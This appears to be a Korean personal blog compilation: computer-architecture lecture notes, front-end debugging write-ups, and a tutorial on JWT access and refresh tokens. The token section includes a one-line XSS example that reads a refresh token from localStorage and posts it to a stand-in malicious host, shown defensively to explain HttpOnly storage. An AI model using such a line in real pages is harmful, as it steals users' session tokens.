이 강의는 instruction이 CPU에서 실행될 때의 execution cycle을 중심으로, 그 실행이 clock과 memory access에 의해 어떻게 제어되는지를 설명한다. Single-cycle processor를 기준으로 instruction execution의 전체 흐름을 정리한다.

1. Execution Cycle과 Clock

Execution cycle은 하나의 instruction이 CPU에서 실행되기 위해 거치는 단계들의 논리적 순서이다.

Single-cycle processor에서는:

• 하나의 instruction이 one clock cycle 안에 완료된다

• 모든 execution stage가 하나의 clock period에 포함된다

• clock cycle time은 가장 오래 걸리는 instruction을 기준으로 결정된다

즉, clock은 instruction execution의 시간적 기준(time reference) 역할을 한다.

2. Instruction Execution Stages

Instruction execution은 다음과 같은 stage로 구성된다.

(1) Instruction Fetch (IF)

• Instruction Memory에서 instruction을 fetch

• Program Counter (PC)가 가리키는 address 사용

• PC는 다음 instruction address로 update됨

(2) Instruction Decode / Register Fetch (ID)

• instruction의 opcode와 field를 decode

• Register File에서 source register 값을 read

• immediate value가 필요한 경우 준비됨

(3) Execute (EX)

• ALU를 사용해 연산 수행

• arithmetic / logical operation 수행

• load / store instruction의 경우 memory address 계산

• branch instruction의 경우 condition evaluation 수행

(4) Memory Access (MEM)

• Data Memory 접근이 이루어지는 stage

• load instruction: memory read

• store instruction: memory write

• arithmetic instruction은 이 stage에서 memory를 사용하지 않음

(5) Write Back (WB)

• 연산 결과 또는 memory에서 read한 data를 destination register에 write

3. Memory의 역할

Execution cycle에서 memory는 두 가지 형태로 사용된다.

• Instruction Memory

  IF stage에서 instruction fetch에 사용

• ** Data Memory**

  MEM stage에서 load / store instruction에 의해 사용

Single-cycle processor에서는 instruction memory와 data memory 접근이 하나의 clock cycle 안에서 모두 발생한다.

4. Single-cycle Execution의 특징과 한계

Single-cycle 구조의 특징은 다음과 같다.

• 모든 instruction이 동일한 execution cycle 구조를 가짐

• instruction 종류에 관계없이 한 clock cycle에 완료됨

• unused stage가 있어도 cycle은 그대로 소모됨

이로 인해 구조는 단순하지만,

• clock cycle time이 길어질 수 있고

• hardware 자원의 효율적인 사용에는 한계가 있다

정리

강의자료 5에서 다루는 핵심은 다음과 같다.

• Execution cycle은 instruction 실행의 단계적 흐름이다

• Clock은 execution cycle의 시간 기준을 제공한다

• Instruction memory와 data memory는 서로 다른 stage에서 사용된다

• Single-cycle processor에서는 모든 execution이 한 clock cycle 안에 이루어진다

• 이 모델은 이후 multi-cycle과 pipelined execution을 이해하기 위한 기준이 된다

Instruction Format & Addressing

이 강의는 instruction이 어떤 구성 요소로 이루어져 있는지와 각 field가 어떤 정보를 표현하는지를 다룬다. 명령어를 형식(format) 단위로 구분해 이해하는 것이 목적이다.

1. Instruction Format의 기본 개념

Instruction은 binary 형태로 표현되며, CPU가 명령어를 해석하기 위해 필요한 정보들을 포함한다.

instruction은 다음 요소들로 구성된다.

• Opcode: 수행할 operation 지정

• Register field: source / destination register 지정

• Immediate field: 상수 값 또는 offset 표현

• Function field (funct): 세부 연산 구분

Instruction format은 이 field들이 어떻게 배치되는지를 정의한다.

2. Instruction Format Types

instruction 형식

R-type

• register-to-register operation

• arithmetic / logical instruction에 사용

• 모든 operand가 register

I-type

• immediate value 또는 memory access 포함

• load, branch instruction에 사용

• immediate field 포함

J-type

• jump instruction에 사용

• 상대적으로 큰 address 범위를 표현

각 format은 instruction의 목적에 맞게 field 구성이 다르다.

3. Addressing

Instruction은 operand의 위치를 지정하기 위해 addressing 방식을 사용한다.

강의자료에서 주로 다루는 addressing 방식은 다음과 같다.

• Register addressing

• Immediate addressing

• Base + offset addressing

Addressing 방식에 따라 operand 접근 방식과 instruction 표현이 달라진다.

정리

강의자료 4에서는 다음을 다룬다.

• Instruction은 여러 field로 구성된 binary format을 가진다

• Instruction format은 field 배치 방식에 따라 구분된다

• R-type, I-type, J-type은 대표적인 instruction format이다

• Addressing은 operand를 지정하는 방법이다

Pipelining

이 강의는 Pipelining을 통해 CPU가 instruction-level parallelism (ILP)을 활용하는 방식을 설명한다. 명령어 실행을 단계별로 나누고 겹쳐 실행함으로써 throughput을 향상시키는 것이 핵심이다.

1. Pipelining의 기본 개념

Pipelining은 여러 instruction을 overlapped execution 방식으로 처리하는 구현 기법이다.

• 하나의 instruction을 여러 stage로 분할

• 서로 다른 instruction이 각기 다른 stage에서 동시에 실행

• 단일 instruction의 latency는 줄지 않지만, 전체 throughput은 증가

이 방식은 CPU 내부 자원의 활용도를 크게 높인다.

2. Pipeline Stages (RISC-style)

강의자료에서는 RISC 구조를 기준으로 다음과 같은 pipeline stages를 사용한다.

• IF (Instruction Fetch)

• ID / RF (Instruction Decode / Register Fetch)

• EX (Execute)

• MEM (Memory Access)

• WB (Write Back)

각 stage는 서로 다른 functional unit을 사용하며, stage 사이에는 pipeline register가 존재한다.

3. Throughput과 CPI

Pipelining의 이상적인 상태에서는:

• 매 cycle마다 새로운 instruction이 pipeline에 진입

• 매 cycle마다 하나의 instruction이 완료

• Ideal CPI ≈ 1

이는 multi-cycle 구조와 비교했을 때 instruction 처리율이 크게 향상됨을 의미한다.

4. Pipeline Hazards

Pipeline에서는 모든 instruction을 항상 겹쳐 실행할 수는 없다. 이를 방해하는 요인을 hazard라고 한다.

(1) Structural Hazard

• hardware resource conflict로 인해 발생

• 동일한 functional unit을 동시에 사용하려는 경우

• 해결 방법: resource duplication 또는 stall

(2) Data Hazard

• instruction 간 data dependency로 인해 발생

• 이전 instruction의 결과가 아직 준비되지 않은 경우

대표적인 dependency:

RAW (Read After Write)

해결 방법:

• stall

• forwarding (bypassing)

(3) Control Hazard

• branch, jump와 같은 control flow instruction으로 인해 발생

• 다음 PC 값이 확정되지 않은 상태에서 instruction fetch가 진행됨

해결 방법:

• stall

• branch prediction

• delayed branch

5. Stall과 Bubble

Stall은 pipeline 진행을 일시적으로 멈추는 동작이다. 이때 실행 의미가 없는 cycle을 bubble이라고 부른다.

• correctness는 보장되지만

• performance는 감소한다

따라서 stall은 가능한 한 최소화하는 것이 목표이다.

6. Forwarding (Bypassing)

Forwarding은 data hazard를 줄이기 위한 hardware 기법이다.

• register write를 기다리지 않고

• pipeline 내부의 intermediate result를 직접 전달 (회로를 새로 그리는 방법이다)

• RAW hazard의 대부분을 제거 가능

단, 모든 Load 명령어 다음에 RAW가 바로 오는 경우만 해결 불가능하다.

정리

강의자료 3은 다음 내용을 다룬다.

• Pipelining은 instruction-level parallelism을 활용하는 핵심 기법이다

• Pipeline은 여러 stage로 구성되며, throughput 향상이 목적이다

• Structural, Data, Control hazard는 pipelining의 주요 제약 조건이다

• Stall과 forwarding은 correctness와 performance 사이의 균형을 맞추기 위한 수단이다

Instructions & Assembly Language

이 강의는 Instruction Set Architecture (ISA)와 Assembly language를 중심으로, 프로그램이 실제로 instruction 단위에서 어떻게 표현되고 실행되는지를 설명한다. 특히 instruction의 종류와 역할을 구분해 이해하는 것이 핵심이다.

1. Assembly Language와 Instruction Level

Assembly language는 machine language를 사람이 읽을 수 있도록 표현한 low-level language이다.

• 각 assembly instruction은 특정 machine instruction에 직접 대응된다

• CPU가 수행하는 연산, 데이터 이동, 제어 흐름이 그대로 드러난다

• high-level language 코드가 실제로 어떤 instruction sequence로 변환되는지 확인할 수 있다

이를 통해 프로그램 실행을 instruction level에서 이해할 수 있다.

2. Instruction Set Architecture (ISA)

Instruction Set Architecture (ISA)는 software와 hardware 사이의 interface이다.

ISA는 다음 요소들을 정의한다.

• instruction의 종류와 의미

• instruction format

• register set

• addressing mode

• memory access 방식

프로그램은 ISA 위에서 실행되며, CPU는 내부 구현과 관계없이 ISA 규칙을 만족하면 동일한 프로그램을 실행할 수 있다.

3. Register-based Execution Model

Instruction execution은 register-based로 이루어진다.

• arithmetic and logical instruction은 register를 operand로 사용한다

• intermediate result는 register에 저장된다

• memory는 직접 연산 대상이 되지 않는다

이 구조는 instruction execution을 단순화하고, 효율적인 hardware 설계를 가능하게 한다.

4. Load / Store Architecture

강의자료에서 사용하는 기본 메모리 모델은 load/store architecture이다.

• memory 접근은 load instruction과 store instruction으로만 수행된다

• 나머지 instruction은 register 간 연산만 수행한다

• memory address는 register + offset 형태로 계산된다

이 방식은 computation과 memory access를 명확히 분리한다.

5. Instruction Categories

강의자료에서는 instruction을 기능에 따라 여러 범주로 구분한다.

(1) Arithmetic Instructions

• add, sub, mul, div 등

• register에 저장된 값을 대상으로 산술 연산을 수행한다

• 연산 결과는 register에 저장된다

(2) Logical Instructions

• and, or, xor, not 등

• bit-level logical operation을 수행한다

• 조건 판단 및 마스킹(masking)에 사용된다

(3) Data Transfer Instructions

• load, store, move 등

• memory와 register 사이의 데이터 이동을 담당한다

• load/store architecture의 핵심 구성 요소이다

(4) Control Flow Instructions

• branch, jump, call, return 등

• program counter(PC)를 변경하여 실행 흐름을 제어한다

• 조건 분기와 반복 구조를 구현한다

(5) Comparison Instructions

• compare, set-on-condition 계열 instruction

• 두 operand를 비교하여 condition flag 또는 결과 값을 생성한다

• branch instruction과 함께 사용되어 제어 흐름을 결정한다

6. Addressing Modes

Instruction은 operand를 지정하기 위해 addressing mode를 사용한다.

대표적인 addressing mode는 다음과 같다.

• register addressing

• immediate addressing

• base + offset addressing

addressing mode는 instruction의 표현력과 실행 효율에 직접적인 영향을 준다.

7. High-level Language와 Instruction Mapping

하나의 high-level language statement는 여러 개의 assembly instruction으로 변환될 수 있다.

이를 통해 다음을 이해할 수 있다.

• program execution은 instruction sequence로 구성된다

• instruction count와 instruction type 분포가 성능에 영향을 준다

• compiler는 high-level code를 instruction 형태로 재구성한다

정리

강의자료 2는 다음 내용을 다룬다.

• Assembly language는 instruction-level execution을 이해하기 위한 도구이다

• ISA는 instruction, register, memory 사용 규칙을 정의한다

• Execution은 register 중심이며, memory access는 load/store로 제한된다

• Instruction은 연산, 데이터 이동, 제어 흐름 등으로 구분된다

• High-level program은 instruction sequence로 실현된다

Computer Abstractions & Performance

이 강의는 컴퓨터 성능을 어떤 관점에서 이해하고 비교해야 하는지를 다룬다. 성능을 단순한 숫자가 아니라, 구조와 맥락 속에서 해석하는 방법을 정리한다.

1. 성능은 여러 계층의 결과이다

컴퓨터 성능은 하나의 요소로 결정되지 않는다.

• 프로그램과 알고리즘

• 컴파일러

• 명령어 집합 구조(ISA)

• CPU 내부 구조(마이크로아키텍처)

• 하드웨어 기술(클럭, 공정)

이 강의는 성능을 논할 때 이 계층들이 함께 작용한다는 점을 전제로 한다.

2. 성능 평가의 기준은 실행 시간이다

CPU 성능은 실행 시간(execution time)으로 표현된다.

• CPU Time = Instruction Count × CPI × Clock Cycle Time

3. 단일 지표의 한계

MIPS와 같은 단일 성능 지표는 직관적이지만, 서로 다른 구조나 명령어 집합을 비교할 때 오해를 만들 수 있다.

이 강의는 성능 비교에서 지표보다 실행 시간이 더 신뢰할 수 있는 기준임을 강조한다.

4. 벤치마크의 역할

벤치마크는 실제 사용 환경을 대표하는 작업 집합을 통해 시스템 성능을 보다 현실적으로 비교하기 위한 도구이다.

대표적으로 SPEC 벤치마크가 사용되며, 단일 수치가 아닌 종합적인 성능 비교를 가능하게 한다.

5. Amdahl’s Law와 성능 개선의 한계

Amdahl의 법칙은 전체 성능 향상이 개선된 부분이 차지하는 비율에 의해 제한됨을 보여준다.

이는 성능 최적화에서 어떤 부분을 개선하는 것이 효과적인지 판단하는 기준이 된다.

정리

이 강의자료는 다음의 관점을 제공한다.

• 컴퓨터 성능은 구조적 맥락 속에서 이해해야 한다

• 성능 비교는 실행 시간을 기준으로 이루어져야 한다

• 단일 지표에는 해석상의 한계가 있다

• 벤치마크와 Amdahl의 법칙은 성능을 올바르게 해석하기 위한 도구이다

지피티는 똑똑한데... 생각보다 바보 같다는 점을 알아야 한다 그냥 눈에 보이는걸 만들어주는 것은 가능한데 component가 많아지고 퍼블리싱을 하면서 import를 계속하게 되면 경로가 복잡해져서 지피티가 더이상 고쳐줄 수 없다

때문에!! CSS는 스스로 계층을 파악하고, 우선순위를 볼 줄 알아야한다 검사를 통해서 파악하는 것도 한계가 있으니, 스스로 알고 있는게 중요하다

2. CSS 문제 발생

1. 문제 이해하기

sidebar.tsx가 미디어쿼리를 적용할 때, sidebar의 border 색상이 적용이 되지 않는 문제가 발생했다

sidebar의 미디어쿼리니까 sidebar에서 이리저리 만지면서 고치던 나 결국은 문제를 해결하지 못했다 sidebar를 이루는 component에서도 문제 해결을 하지 못했다

1. css의 우선순위가 밀려서 적용되지 않음 2. 구조상 우선순위가 밀림

1번 방식으로 !important 까지 써가면서 최선을 다했지만 css의 우선순위가 밀려서 적용되지 않는 것은 아닌 것 같아 2번 구조상 우선순위를 열심히 찾아봤다

2. 문제의 해결

문제는 생각보다 단순하게 해결된 것을 볼 수 있다 고민한 시간이 무색해지도록 간단한...

파일 구조를 좀 살펴보면 stories > components > intranet > community > sidebar.tsx 를 import 해서 pages > community > community.tsx 파일이 사용하고 있다는 걸 볼 수 있다

community.tsx에서 border의 색상을 따로 지정하지 않고 background-color 만 미디어쿼리 @(max width 540) 이런 식으로 설정해서 background-color의 차이를 준 형태로 지정해두었다

community.tsx의 기본적인 background-color가 sidebar.tsx 에게까지 영향을 준 것으로 판단했다

이랬던 코드를 아래와 같이 바꾸니까

내가 원하는 대로 제대로 돌아간다!

이렇게 해서 코드를 고칠 수 있었다

3. 교훈

CSS 뿐만 아니라 모든 코드가 그러하지만, CSS의 경우에는 더욱 더 직접 코드의 계층을 이해해서 직접 고치는게 훨~ 빠르다

앞으로 이렇게 component가 복잡하게 import 된 경우에는 상위계층에서 문제가 발생했는지를 먼저 찾아보는 것도 좋은 방법이라고 생각한다

1. 엔드포인트 확인&새 API 생성

1) 엔드포인트 확인

엔드 포인트를 확인하는 것은 가장 기본적이면서도 중요한 업무죠 백엔드가 만들어준 swagger를 보면서 차근차근 맞춰야 하는데!

우리의 송모씨(23)세는 엔드포인트 확인을 제일 늦게 하고 다른 기능 이상부터 체크하느라 시간이 오래 걸렸다 그러니까 부서를 불러오지 못하죠! 또한 문제가 하나 더 있었다 SSIZENT_API를 사용해야 하는데 일부 코드에는 반영하지 않은.

이렇게 SSIZENT_API를 사용하고 엔드포인트 확인을 해도...! 문제가 해결되지 않았다

2) 새 API 생성

회원가입 과정에서 아이디 중복확인에 사용된 아이디는 auth/signup 이었다 그래서 난 회원가입할 때 사용하는 아이디만 따로 확인하는 형태로 만들었지만 데이터 방식이 맞지 않아서 계속 에러가 발생했다

그럼 회원가입 전용 API를 새로 만들어야 하는거 아닌가? 라는 생각이 들어서 백엔드와 이야기를 해본 결과, auth/idCheck API를 새로 만들어서 연결해보니 드디어 department가 뜬다!!!

2. 에러 메시지 파악하기

여기서 회원가입/로그인이 마무리 되면 좋지만~ 또다른 에러가 계속해서 발생한다 ㅎㅎㅎ

이 부분은 생각보다 정말 시간이 많이 들어갔다 검사에서 404가 뜨는걸 보고 프론트 어디에서 또 문제가 나는걸까를 계속 고민하게 되는 문제에 빠지게 된 것이다

이번에는 SSIZENET_API도 제대로 썼고, 프론트에서 기능적인 오류가 없는거 같다는 생각이 들어서 계속 찾아보면서 빠진 것을 확인했다

일단 혹시 모르니까 postman으로 확인을 해주면? 백엔드의 문제는 아닌걸 깔끔하게 확인하고 프론트에서 문제를 고치기로 한다

1) 에러 메시지 확인하기

auth/idCheck 회원가입 시 아이디 중복 확인을 하는 부분이었는데, 분명 백엔드에서 요구하는 정확한 형식대로 입력을 했음에도 불구하고... 200과 404가 번갈아 뜨는 이유를 알지 못했다

• 404의 의미가 뭘까? 나는 일단 코드에서 잘못 구현된 부분이 있나를 보는데 중점을 두었지만, 404의 의미가 무엇인가부터 곰곰히 생각을 해보기로 했다

1) 200이 뜨는 경우 입력하는 아이디의 형식이 동일하지만 다른 반응이 나오는 것으로 입력하는 아이디 자체가 문제가 있는 것이 아니라는 것은 확인했다. 사용할 수 있는 유효한 아이디인 경우 200이 뜨는 것이라 생각했다

2) 404가 뜨는 경우 404가 뜨는 경우는 프론트 자체에 문제가 있다는 것이 아니라, 입력한 아이디가 이미 존재하여 회원가입이 불가능한 경우에 404를 리턴하는 것이라고 생각했다

그래서 백엔드와 다시 이야기해본 결과, 이게 맞았고 회원가입이 가능한 아이디인 경우 200, 이미 존재하는 아이디인 경우 409를 띄우기로 바꿨다

2) 여기서 배운 점

1. 지금처럼 postman으로 프론트의 문제인지 백엔드의 문제인지 확인해주는 작업이 선행되면 깔끔하다는 것
2. 일단 404가 뜬다고 프론트에서 문제가 반드시 발생하는 것은 아니라는 것
3. 백엔드에서 메시지는 임의로 설정해서 띄우기가 가능하므로, 너무 혼자 고민하기보다는 백엔드한테도 이러이러한 상황이다를 설명해주면 좋다는 것

그렇게 회원가입/로그인을 잘 마무리했다

토큰(Token)은 사용자 인증 및 권한 부여를 위한 임시 데이터이다. 토큰은 특정 정보를 포함하고 있으며, 이를 기반으로 서버와 클라이언트 간의 신뢰를 형성하는 역할을 한다.

1. 토큰의 구조 (JWT 기준)

JWT는 세 부분으로 구성된 문자열이다. 토큰은 이렇게 일반적으로 문자열 형태로 구성된다.

• Header (헤더) 토큰의 타입과 해싱 알고리즘 정보를 포함한다. 예: { "alg": "HS256", "typ": "JWT" }

• Payload (페이로드) 인증과 관련된 정보를 담고 있으며, 사용자 ID, 권한, 토큰 만료 시간 등이 포함된다. 예: { "sub": "1234567890", "name": "John Doe", "exp": 1714971600 }

• Signature (서명) Header와 Payload를 특정 키로 암호화하여 생성한 값으로, 토큰이 변조되지 않았음을 증명한다. 예: HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)

2. 토큰을 사용하는 이유

• 상태를 서버에 저장하지 않아도 된다(Stateless) 토큰은 클라이언트에 저장되므로, 서버는 사용자의 상태를 별도로 유지할 필요가 없다. 이를 통해 확장성이 좋아지고, 서버 부하가 줄어드는 효율성이 있다.

• 보안 및 편의성 비밀번호를 매번 전송할 필요 없이, 토큰을 통해 한 번 로그인으로 여러 API 호출을 할 수 있다. 민감한 데이트를 토큰에 표함하지 않고 필요한 최소한의 정보만 담아 보안을 유지할 수 있다.

• 유효 기간 관리 Access Token과 Refresh Token을 사용해 보안과 사용자 경험을 모두 충족할 수 있다.

  Access Token: 짧은 유효 기간으로 보안을 강화. Refresh Token: 긴 유효 기간으로 사용자 편의성 제공.

• CORS 및 세션 문제 해결 브라우저에서 서로 다른 도메인간 요청(CORS) 처리 시, 세션 쿠기 대신 토큰을 사용하면 보다 쉽게 인증 문제를 해결할 수 있다.

그럼 지금까지 토큰이 무엇인지를 알아보았으니 진짜 본론으로 들어가보도록 하자~

2. Access Token과 Token의 차이

1. Access Token

• 역할: 사용자 인증이 완료된 후, 클라이언트가 서버에 API 요청을 할 때 사용되는 토큰.
• 유효 기간: 일반적으로 짧은 유효 기간(수 분 ~ 수십 분)을 가짐.
• 특징: 요청 헤더에 포함시켜 보호된 리소스에 접근할 수 있음. 만료되면 더 이상 사용할 수 없으므로 새로운 Access Token이 필요함.

2. Refresh Roken

• 역할: Access Token이 만료되었을 때, 새로운 Access Token을 발급받기 위한 토큰.
• 유효 기간: Access Token보다 훨씬 긴 유효 기간(수일 ~ 수개월)을 가짐.
• 특징: 서버에만 저장되며, 클라이언트는 이를 보관하지 않거나 보안이 강화된 영역에 보관해야 함. 일반적으로 재발급 엔드포인트(/auth/refresh)에 요청할 때 사용. Access Token과 달리, 리소스 접근에 직접 사용되지 않음.

3. Refresh Token 사용 시 프론트엔드 처리 방식

0. Refresh Token이 필요한 이유

Access Token의 유효 기간이 짧기 때문에 사용자는 자주 로그인이 만료되는 경험을 하게 됨. Refresh Token을 사용하면 사용자가 다시 로그인할 필요 없이 자동으로 새로운 Access Token을 발급받아 UX를 개선할 수 있음.

1. 기본 처리 흐름

• 초기 로그인: 서버로부터 Access Token과 Refresh Token을 발급받음. Access Token은 클라이언트가 메모리에 저장하고, Refresh Token은 보안 영역(예: HttpOnly 쿠키)에 저장.

• API 요청: API 요청 시 Access Token을 요청 헤더(Authorization: Bearer )에 포함하여 보냄.

• Access Token 만료 시: 서버가 401 Unauthorized 응답을 반환하면, 프론트엔드는 Refresh Token을 이용하여 새로운 Access Token을 발급받음. 발급받은 새로운 Access Token으로 다시 요청을 재시도함.

2. 주의사항

• Refresh Token 보관: Refresh Token은 반드시 HttpOnly 쿠키에 저장하여 XSS 공격에 노출되지 않도록 함.

• 토큰 재발급 주기: 너무 자주 Refresh Token으로 Access Token을 재발급하지 않도록 만료 시간을 적절히 설정.\

• 자동 로그아웃 처리: Refresh Token도 만료된 경우, 사용자에게 다시 로그인을 요구함으로써 보안을 유지해야 함.

3. 추가로 알아두어야 할 웹 보안 개념

1. XSS(Cross-Site Scripting)

• 개념: 악성 스크립트를 웹 애플리케이션에 삽입하여 사용자의 세션, 쿠키 등을 탈취하는 공격.
• 대처법: 사용자 입력을 HTML에 렌더링하기 전에 반드시 인코딩 처리. React와 같은 라이브러리는 JSX 자동 인코딩으로 기본적인 보호 제공.

*2. CSRF (Cross-Site Request Forgery) *

• 개념: 사용자가 인증된 세션을 이용하여 공격자가 의도한 요청을 서버로 보내는 공격.
• 대처법: CSRF 토큰을 사용하여 요청을 검증. Refresh Token을 HttpOnly 쿠키에 저장하고 CSRF 방어 토큰을 추가로 헤더에 포함하여 방어.

3. HTTPS

• 개념: HTTP 요청과 응답을 암호화하여 중간에 탈취당하지 않도록 하는 보안 프로토콜.
• 대처법: 모든 요청은 반드시 HTTPS로 통신. 인증 관련 토큰 및 민감한 데이터는 평문이 아닌 암호화된 상태로 전송.

4. CORS (Cross-Origin Resource Sharing)

• 개념: 서로 다른 도메인 간 요청을 제한하는 보안 정책.
• 대처법: 서버에서 적절한 CORS 설정을 하여 허용할 도메인만 지정. 클라이언트 요청 시 필요한 헤더(Origin, Credentials)를 포함하여 요청.

3. 프론트엔드에서 주의할 점

1. 보관방식 LocalStorage나 SessionStorage에 Refresh Token을 보관하면 XSS 공격에 취약할 수 있으므로, 반드시 HttpOnly 쿠키에 저장해야 함.

• 왜 LocalStorage와 SessionStorage에 Refresh Token을 저장하면 안 될까? LocalStorage와 SessionStorage에 저장된 데이터는 브라우저 내 모든 스크립트에서 접근할 수 있습니다. 만약 사이트에 악성 스크립트가 삽입되는 XSS(Cross-Site Scripting) 공격이 발생할 경우, 공격자는 해당 스크립트를 통해 사용자의 토큰을 탈취할 수 있다.

XSS 공격 예시: 가정: Refresh Token이 LocalStorage에 저장된 경우 const token = localStorage.getItem("refreshToken"); fetch("https://malicious-site.com", { method: "POST", body: token });

• HttpOnly 쿠키란? HttpOnly 속성이 설정된 쿠키는 클라이언트의 자바스크립트에서 접근할 수 없다. 즉, XSS 공격으로도 탈취가 불가능하다.
  브라우저가 자동으로 요청 시 쿠키를 헤더에 포함하기 때문에 Refresh Token을 사용할 때도 편리하다.

쿠키 설정 예시: // Set-Cookie: refreshToken=abcd1234; HttpOnly; Secure; SameSite=Strict

Secure 속성: HTTPS 요청에서만 쿠키를 전송한다.

2. 토큰 재발급 요청: Axios 인터셉터 활용

토큰이 만료될 때마다 새로운 Access Token을 발급받기 위해 Refresh Token을 자동으로 사용하도록 API 요청 인터셉터(예: Axios 인터셉터)를 활용할 수 있다.

• 왜 API 요청 인터셉터를 사용할까? 토큰 기반 인증 시스템에서는 Access Token이 주기적으로 만료되기 때문에, 만료된 토큰으로 요청이 실패했을 때 자동으로 새로운 Access Token을 발급받고 다시 요청을 시도해야 한다. 이 과정이 수동으로 이루어지면 코드가 복잡해지고 오류가 발생할 수 있으므로, Axios와 같은 HTTP 클라이언트의 인터셉터를 사용하여 자동으로 처리할 수 있다.

• 인터셉터 기본 동작 방식

1. API 요청 전, Access Token을 Authorization 헤더에 포함한다.
2. 요청 실패 시(예: 401 Unauthorized 응답), Refresh Token으로 새로운 Access Token을 요청.
3. 새로운 Access Token이 발급되면 원래 요청을 다시 시도한다.
4. 모든 작업이 완료된 후 정상적인 응답을 반환한다.

4. 결론

• 토큰 기반 인증은 서버와 클라이언트 간의 효율적이고 확장 가능한 인증 방식이다. 특히 JWT와 같은 구조화된 토큰을 통해 상태를 유지하지 않는(stateless) 방식으로 작동하여 높은 유연성을 제공한다.
• Access Token과 Refresh Token을 적절히 활용하면, 짧은 유효 기간으로 보안을 강화하면서도 UX를 개선할 수 있다. 프론트엔드에서는 보안이 중요한 만큼, HttpOnly 쿠키를 이용한 Refresh Token 관리와 Axios 인터셉터를 통한 자동 재발급 처리가 핵심이다.
• XSS, CSRF, CORS 등 주요 웹 보안 위협에 대비하고, 모든 통신을 HTTPS로 암호화하여 안전한 데이터 전송을 보장해야 합니다. 이러한 모든 요소를 종합적으로 고려함으로써, 보안성과 사용자 편의성을 동시에 확보할 수 있다.